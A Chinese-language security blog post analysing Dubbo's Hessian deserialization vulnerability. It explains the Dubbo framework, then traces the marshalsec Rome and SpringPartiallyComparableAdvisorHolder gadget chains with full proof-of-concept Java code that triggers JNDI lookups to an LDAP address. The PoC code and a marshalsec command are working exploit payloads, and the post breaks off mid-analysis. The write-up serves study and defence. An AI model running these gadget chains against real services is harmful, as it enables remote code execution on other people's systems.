Java安全之Dubbo反序列化漏洞分析

Java安全之Dubbo反序列化漏洞分析

0x00 前言

最近天氣冷,懶癌又犯了,加上各種項目使得本篇文斷斷續續。

0x01 Dubbo

概述

Dubbo是阿里巴巴開源的基於 Java 的高性能 RPC(一種遠程調用) 分佈式服務框架(SOA),致力於提供高性能和透明化的RPC遠程服務調用方案,以及SOA服務治理方案。dubbo 支持多種序列化方式並且序列化是和協議相對應的。比如:Dubbo支持dubbo、rmi、hessian、http、webservice、thrift、redis等多種協議。

運行機制

Dubbo框架啓動,容器Container一啓動,服務提供者Provider會將提供的服務信息註冊到註冊中心Registry,註冊中心就知道有哪些服務上線了;當服務消費者Consumer啓動,它會從註冊中心訂閱subscribe所需要的服務。

若某個服務提供者變更,比如某個機器下線宕機,註冊中心基於長連接的方式將變更信息通知給消費者。

消費者可以調用服務提供者的服務,同時會根據負載均衡算法選擇服務來調用。

每次的調用信息、服務信息等會定時統計發送給監控中心Monitor,監控中心能夠監控服務的運行狀態。

以上圖片是官方提供的一個運行流程圖

節點 角色說明
Provider 暴露服務的服務提供方
Consumer 調用遠程服務的服務消費方
Registry 服務註冊與發現的註冊中心
Monitor 統計服務的調用次數和調用時間的監控中心
Container 服務運行容器
  1. 服務容器負責啓動,加載,運行服務提供者。
  2. 服務提供者在啓動時,向註冊中心註冊自己提供的服務。
  3. 服務消費者在啓動時,向註冊中心訂閱自己所需的服務。
  4. 註冊中心返回服務提供者地址列表給消費者,如果有變更,註冊中心將基於長連接推送變更數據給消費者。
  5. 服務消費者,從提供者地址列表中,基於軟負載均衡算法,選一臺提供者進行調用,如果調用失敗,再選另一臺調用。
  6. 服務消費者和提供者,在內存中累計調用次數和調用時間,定時每分鐘發送一次統計數據到監控中心。

在使用Dubbo前,需要搭建一個註冊中心,官方推薦使用Zookeeper。

使用

下載解壓zookeeper,將裏面的zoo_sample.cfg內容,複製到zoo.cfg文件中。

tickTime=2000
initLimit=10
syncLimit=5
dataDir=D:\漏洞調試\zookeeper-3.3.3\zookeeper-3.3.3\conf\data
clientPort=2181

Zookeeper端口默認是2181,可修改進行配置端口。

修改完成後,運行zkServer.bat即可啓動Zookeeper。

dubbo文檔

註冊服務

定義服務接口DemoService

package org.apache.dubbo.samples.basic.api;

public interface DemoService {
    String sayHello(String name);
}

定義接口的實現類DemoServiceImpl

public class DemoServiceImpl implements DemoService {
    @Override
    public String sayHello(String name) {
        System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name +
                ", request from consumer: " + RpcContext.getContext().getRemoteAddress());
        return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress();
    }
}

用 Spring 配置聲明暴露服務

<bean id="demoService" class="org.apache.dubbo.samples.basic.impl.DemoServiceImpl"/>

<dubbo:service interface="org.apache.dubbo.samples.basic.api.DemoService" ref="demoService"/>

使用註解配置聲明暴露服務,在application.properites中配置

dubbo.scan.base-packages=org.apache.dubbo.samples

然後在對應接口使用@Component@Service註解進行註冊

引用遠程服務

consumer.xml

<dubbo:reference id="demoService" check="true" interface="org.apache.dubbo.samples.basic.api.DemoService"/>
public class HttpConsumer {

    public static void main(String[] args) throws Exception {
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");
        context.start();

        DemoService demoService = (DemoService) context.getBean("demoService");
        String result = demoService.sayHello("world");
        System.out.println(result);
    }
}

配置

配置協議:

<dubbo:protocol name="dubbo" port="20880" />

設置服務默認協議:

<dubbo:provider protocol="dubbo" />

設置服務協議:

<dubbo:service protocol="dubbo" />

多端口:

<dubbo:protocol id="dubbo1" name="dubbo" port="20880" />
<dubbo:protocol id="dubbo2" name="dubbo" port="20881" />

發佈服務使用hessian協議:

<dubbo:service protocol="hessian"/>

引用服務

<dubbo:reference protocol="hessian"/>

0x02 Hessian

Hessian概述

hessian 是一種跨語言的高效二進制序列化方式。但這裏實際不是原生的 hessian2 序列化,而是阿里修改過的 hessian lite,Hessian是二進制的web service協議,官方對Java、Flash/Flex、Python、C++、.NET C#等多種語言都進行了實現。Hessian和Axis、XFire都能實現web service方式的遠程方法調用,區別是Hessian是二進制協議,Axis、XFire則是SOAP協議,所以從性能上說Hessian遠優於後兩者,並且Hessian的JAVA使用方法非常簡單。它使用Java語言接口定義了遠程對象,集合了序列化/反序列化和RMI功能。

使用

序列化

import com.caucho.hessian.io.Hessian2Output;

import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class test {
    public static void main(String[] args) throws IOException {
        Person o=new Person();
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(o);
        output.close();
        System.out.println(os.toString());
    }
}

反序列化

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class test {
    public static void main(String[] args) throws IOException {
        Person p=new Person();
        p.setAge(22);
        p.setName("nice0e3");
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(p);
        output.close();

        System.out.println("---------------------------------");
        //反序列化
        ByteArrayInputStream is = new ByteArrayInputStream(os.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input(is);
        Object person = hessian2Input.readObject();
        System.out.println(person.toString());

    }
}

0x03 Hessian利用鏈

在marshalsec工具中,提供了Hessian的幾條利用鏈

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringAbstractBeanFactoryPointcutAdvisor

Rome

該鏈需要以下依賴

<dependency>
    <groupId>com.rometools</groupId>
     <artifactId>rome</artifactId>
     <version>1.7.0</version>
</dependency>

構造分析

public interface Rome extends Gadget {

    @Primary
    @Args ( minArgs = 1, args = {
        "jndiUrl"
    }, defaultArgs = {
        MarshallerBase.defaultJNDIUrl
    } )
    default Object makeRome ( UtilFactory uf, String[] args ) throws Exception {
        return makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ]));
    }


    default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception {
        ToStringBean item = new ToStringBean(type, obj);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);
        return uf.makeHashCodeTrigger(root);
    }
}

JDKUtil.makeJNDIRowSet(args[ 0 ])進行跟進,arg[0]位置爲傳遞的ldap地址。

 public static JdbcRowSetImpl makeJNDIRowSet ( String jndiUrl ) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName(jndiUrl);
        rs.setMatchColumn("foo");
        Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
        return rs;
    }

創建JdbcRowSetImpl實例,調用setDataSourceName方法對實例的dataSource值賦值爲傳遞進來的jndiurl變量,隨後調用setMatchColumn方法,將JdbcRowSetImpl實例的strMatchColumns成員變量設置爲foo,最後將JdbcRowSetImpl實例的listeners變量設置爲空,該變量位於父類javax.sql.rowset.BaseRowSet中。

下面走到makeROMEAllPropertyTrigger方法中

default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception {
    ToStringBean item = new ToStringBean(type, obj);
    EqualsBean root = new EqualsBean(ToStringBean.class, item);
    return uf.makeHashCodeTrigger(root);
}

實例化ToStringBean對象,將type(這裏爲JdbcRowSetImpl.class)和JdbcRowSetImpl實例傳遞到構造方法中,下面實例化EqualsBean對象將ToStringBean.classToStringBean的實例化對象進行傳遞。獲取到名爲root的實例化對象。接着調用uf.makeHashCodeTrigger(root),該位置進行跟進。

    default Object makeHashCodeTrigger ( Object o1 ) throws Exception {
        return JDKUtil.makeMap(o1, o1);
    }

該位置傳遞2個同樣的對象到makeMap方法中調用

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }

實例化HashMap將長度設置爲2,反射獲取java.util.HashMap$Nodejava.util.HashMap$Entry,實例化一個對象並且設置長度爲2,並且第一個數據插入值爲java.util.HashMap$Node的實例化對象,該對象在實例化的時候傳遞4個值,第一個值爲0,第二和三個值爲剛剛獲取並傳遞進來的EqualsBean實例化對象,第四個爲null。

插入的第二個數據也是如此。

走到下面則反射設置s這個hashmap中table的值爲tbl,tbl爲反射創建的java.util.HashMap$Node對象。

簡化後的代碼如下

//反序列化時ToStringBean.toString()會被調用,觸發JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl = "ldap://localhost:1389/obj";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");

//反序列化時EqualsBean.beanHashCode會被調用,觸發ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);

//反序列化時HashMap.hash會被調用,觸發EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
    nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);

利用分析

poc

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import marshalsec.gadgets.JDKUtil;
import marshalsec.util.Reflections;
import org.apache.dubbo.serialize.hessian.Hessian2ObjectInput;
import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.sql.SQLException;
import java.util.HashMap;

public class remotest {
    public static void main(String[] args) throws Exception {
        //反序列化時ToStringBean.toString()會被調用,觸發JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
        String jndiUrl = "ldap://127.0.0.1:1389/obj";
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName(jndiUrl);
        rs.setMatchColumn("foo");

//反序列化時EqualsBean.beanHashCode會被調用,觸發ToStringBean.toString
        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);

//反序列化時HashMap.hash會被調用,觸發EqualsBean.hashCode->EqualsBean.beanHashCode
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
        Reflections.setFieldValue(s, "table", tbl);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream);
        hessian2Output.writeObject(s);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(new String(bytes, 0, bytes.length));
        // hessian2的反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();

//        makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ]));
    }
}

到此不得不提到Hessian的反序列化反序列化機制,在反序列化過程或獲取一個需要序列化對象的對應的反序列化器,如現在這裏的MapDeserializer。感覺這個和Xstream的反序列化機制有點類似。反序列化機制在此不細表,後面再去跟蹤該反序列化機制

public Object readMap(AbstractHessianInput in) throws IOException {
        Object map;
        if (this._type == null) {
            map = new HashMap();
        } else if (this._type.equals(Map.class)) {
            map = new HashMap();
        } else if (this._type.equals(SortedMap.class)) {
            map = new TreeMap();
        } else {
            try {
                map = (Map)this._ctor.newInstance();
            } catch (Exception var4) {
                throw new IOExceptionWrapper(var4);
            }
        }

        in.addRef(map);

        while(!in.isEnd()) {
            ((Map)map).put(in.readObject(), in.readObject());
        }

        in.readEnd();
        return map;
    }

((Map)map).put(in.readObject(), in.readObject());跟蹤該位置

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

這裏獲取到的key和value的值都爲EqualsBean實例化對象。

該位置去調用hash方法去計算hashcode的值

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

com.rometools.rome.feed.impl.EqualsBean#hashcode

 public int hashCode() {
        return this.beanHashCode();
    }

這裏的hashcode是調用beanHashCode方法

 public int beanHashCode() {
        return this.obj.toString().hashCode();
    }
   public String toString() {
        Stack<String[]> stack = (Stack)PREFIX_TL.get();
        boolean needStackCleanup = false;
        if (stack == null) {
            stack = new Stack();
            PREFIX_TL.set(stack);
            needStackCleanup = true;
        }

        String[] tsInfo;
        if (stack.isEmpty()) {
            tsInfo = null;
        } else {
            tsInfo = (String[])stack.peek();
        }

        String prefix;
        String result;
        if (tsInfo == null) {
            result = this.obj.getClass().getName();
            prefix = result.substring(result.lastIndexOf(".") + 1);
        } else {
            prefix = tsInfo[0];
            tsInfo[1] = prefix;
        }

        result = this.toString(prefix);
        if (needStackCleanup) {
            PREFIX_TL.remove();
        }

        return result;
    }

調用this.toString

private String toString(String prefix) {
    StringBuffer sb = new StringBuffer(128);

    try {
        List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
        Iterator var10 = propertyDescriptors.iterator();

        while(var10.hasNext()) {
            PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next();
            String propertyName = propertyDescriptor.getName();
            Method getter = propertyDescriptor.getReadMethod();
            Object value = getter.invoke(this.obj, NO_PARAMS);
            this.printProperty(sb, prefix + "." + propertyName, value);
            ...

反射調用this.obj的getDatabaseMetaData方法

 public DatabaseMetaData getDatabaseMetaData() throws SQLException {
        Connection var1 = this.connect();
        return var1.getMetaData();
    }
  private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

觸發lookup,後面自然不用多說了。

調用棧

lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
readObject:86, Hessian2ObjectInput (org.apache.dubbo.serialize.hessian)
main:57, remotest

SpringPartiallyComparableAdvisorHolder

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder ldap://127.0.0.1:1388/Exp

該gadget需要以下依賴

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aop</artifactId>
    <version>5.0.0.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>4.1.3.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjweaver</artifactId>
    <version>1.6.10</version>
</dependency>

構造分析

default Object makePartiallyComparableAdvisorHolder ( UtilFactory uf, String[] args ) throws Exception {
        String jndiUrl = args[ 0 ];
        BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl);
        return SpringUtil.makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf);
    }

跟蹤SpringUtil.makeJNDITrigger方法

public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {
    SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
    bf.setShareableResources(jndiUrl);
    Reflections.setFieldValue(bf, "logger", new NoOpLog());
    Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
    return bf;
}
public void setShareableResources(String... shareableResources) {
    this.shareableResources.addAll(Arrays.asList(shareableResources));
}

該方法將jndiurl轉換成一個list對象,然後傳遞調用this.shareableResources.addAll()方法,該方法對

shareableResourcesHashSet進行addAll的操作

繼續來到下面

設置logger的值爲NoOpLog實例化對象,獲取bf.getJndiTemplate()也進行同樣操作。

接着返回bf的BeanFactory 實例化對象

public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException,
        NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
    AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
    Reflections.setFieldValue(aif, "beanFactory", bf);
    Reflections.setFieldValue(aif, "name", name);
    AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
    Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

    // make readObject happy if it is called
    Reflections.setFieldValue(advice, "declaringClass", Object.class);
    Reflections.setFieldValue(advice, "methodName", "toString");
    Reflections.setFieldValue(advice, "parameterTypes", new Class[0]);

    AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
    Reflections.setFieldValue(advisor, "advice", advice);

    Class<?> pcahCl = Class
            .forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
    Object pcah = Reflections.createWithoutConstructor(pcahCl);
    Reflections.setFieldValue(pcah, "advisor", advisor);
    return uf.makeToStringTriggerUnstable(pcah);
}

創建BeanFactoryAspectInstanceFactory的實例化對象,名爲aif,並將bf變量和name分別反射賦值到beanFactory和name中。bf爲上面獲取的BeanFactory對象。

接着創建AbstractAspectJAdvice對象,將aspectInstanceFactory的值,設置爲aif變量對象進行傳遞。

將advice的declaringClassmethodNameparameterTypes分別設置爲Object.classtoStringnew Class[0],創建AspectJPointcutAdvisor對象,將前面設置了一系列值的advice放置到advisor對象的advice變量中。

最後創建org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder對象,將advisor設置到該對象的advisor成員變量中。並且調用 uf.makeToStringTriggerUnstable(pcah);

跟蹤該方法

public static Object makeToStringTrigger ( Object o, Function<Object, Object> wrap ) throws Exception {
    String unhash = unhash(o.hashCode());
    XString xString = new XString(unhash);
    return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString));
}

  public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }

與前面的一致,再次就不做分析了

利用分析

poc

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xpath.internal.objects.XString;
import marshalsec.HessianBase;
import marshalsec.util.Reflections;
import org.apache.commons.logging.impl.NoOpLog;
import org.apache.dubbo.serialize.hessian.Hessian2ObjectInput;
import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;

public class SpringPartiallyComparableAdvisorHoldertest {
    public static void main(String[] args) throws Exception {
        String jndiUrl = "ldap://localhost:1389/obj";
        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
        bf.setShareableResources(jndiUrl);

//反序列化時BeanFactoryAspectInstanceFactory.getOrder會被調用,會觸發調用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
        Reflections.setFieldValue(bf, "logger", new NoOpLog());
        Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

//反序列化時AspectJAroundAdvice.getOrder會被調用,會觸發BeanFactoryAspectInstanceFactory.getOrder
        AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
        Reflections.setFieldValue(aif, "beanFactory", bf);
        Reflections.setFieldValue(aif, "name", jndiUrl);

//反序列化時AspectJPointcutAdvisor.getOrder會被調用,會觸發AspectJAroundAdvice.getOrder
        AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
        Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

//反序列化時PartiallyComparableAdvisorHolder.toString會被調用,會觸發AspectJPointcutAdvisor.getOrder
        AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
        Reflections.setFieldValue(advisor, "advice", advice);

//反序列化時Xstring.equals會被調用,會觸發PartiallyComparableAdvisorHolder.toString
        Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
        Object pcah = Reflections.createWithoutConstructor(pcahCl);
        Reflections.setFieldValue(pcah, "advisor", advisor);

//反序列化時HotSwappableTargetSource.equals會被調用,觸發Xstring.equals
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));


        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
//反序列化時HashMap.putVal會被調用,觸發HotSwappableTargetSource.equals。這裏沒有直接使用HashMap.put設置值,直接put會在本地觸發利用鏈,所以使用marshalsec使用了比較特殊的處理方式。

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(sf);
        hessian2Output.writeObject(s);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();

        // hessian2反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();
    }
}

以上代碼 在序列化部分多出來了幾行代碼。我們知道,一般對於對象的序列化,如果對象對應的class沒有對java.io.Serializable進行實現implement的話,是沒辦法序列化的,所以這裏對輸出流進行了設置,使其可以輸出沒有實現java.io.Serializable接口的對象。

將斷點打到com.caucho.hessian.io.MapDeserializer#readMap

public Object readMap(AbstractHessianInput in) throws IOException {
   ...

    while(!in.isEnd()) {
        ((Map)map).put(in.readObject(), in.readObject());
    }

    in.readEnd();
    return map;
}

調用HashMap的put方法

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

與前面不同的是這裏是藉助putVal方法

 final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;
        if ((tab = table) == null || (n = tab.length) == 0)
            n = (tab = resize()).length;
        if ((p = tab[i = (n - 1) & hash]) == null)
            tab[i] = newNode(hash, key, value, null);
        else {
            Node<K,V> e; K k;
            if (p.hash == hash &&
                ((k = p.key) == key || (key != null && key.equals(k))))

key.equals方法位置進行跟蹤

public boolean equals(Object other) {
    return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}
public boolean equals(Object obj2)
{

  if (null == obj2)
    return false;

    // In order to handle the 'all' semantics of
    // nodeset comparisons, we always call the
    // nodeset function.
  else if (obj2 instanceof XNodeSet)
    return obj2.equals(this);
  else if(obj2 instanceof XNumber)
      return obj2.equals(this);
  else
    return str().equals(obj2.toString());
}

調用obj2的toString

  public boolean equals(Object obj2)
  {

    if (null == obj2)
      return false;

      // In order to handle the 'all' semantics of
      // nodeset comparisons, we always call the
      // nodeset function.
    else if (obj2 instanceof XNodeSet)
      return obj2.equals(this);
    else if(obj2 instanceof XNumber)
        return obj2.equals(this);
    else
      return str().equals(obj2.toString());
  }
  public String toString() {
            StringBuilder sb = new StringBuilder();
            Advice advice = this.advisor.getAdvice();
            sb.append(ClassUtils.getShortName(advice.getClass()));
            sb.append(": ");
            if (this.advisor instanceof Ordered) {
                sb.append("order ").append(((Ordered)this.advisor).getOrder()).append(", ");
            }
public int getOrder() {
    return this.order != null ? this.order : this.advice.getOrder();
}
public int getOrder() {
    return this.aspectInstanceFactory.getOrder();
}
public int getOrder() {
    Class<?> type = this.beanFactory.getType(this.name);
    if (type != null) {
        return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, 2147483647);
    } else {
        return 2147483647;
    }
}
public Class<?> getType(String name) throws NoSuchBeanDefinitionException {
    try {
        return this.doGetType(name);
    } catch (NameNotFoundException var3) {
        throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
    } catch (NamingException var4) {
        return null;
    }
}
 private Class<?> doGetType(String name) throws NamingException {
        if (this.isSingleton(name)) {
            Object jndiObject = this.doGetSingleton(name, (Class)null);
            return jndiObject != null ? jndiObject.getClass() : null;
 private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {
        synchronized(this.singletonObjects) {
            Object jndiObject;
            if (this.singletonObjects.containsKey(name)) {
                jndiObject = this.singletonObjects.get(name);
                if (requiredType != null && !requiredType.isInstance(jndiObject)) {
                    throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);
                } else {
                    return jndiObject;
                }
            } else {
                jndiObject = this.lookup(name, requiredType);
                this.singletonObjects.put(name, jndiObject);
                return jndiObject;
            }
        }
    }

到了該位置調用this.lookup(name, requiredType);

  protected <T> T lookup(String jndiName, Class<T> requiredType) throws NamingException {
        Assert.notNull(jndiName, "'jndiName' must not be null");
        String convertedName = this.convertJndiName(jndiName);

        Object jndiObject;
        try {
            jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType);
public <T> T lookup(String name, Class<T> requiredType) throws NamingException {
    Object jndiObject = this.lookup(name);
    if (requiredType != null && !requiredType.isInstance(jndiObject)) {
        throw new TypeMismatchNamingException(name, requiredType, jndiObject != null ? jndiObject.getClass() : null);
public Object lookup(final String name) throws NamingException {
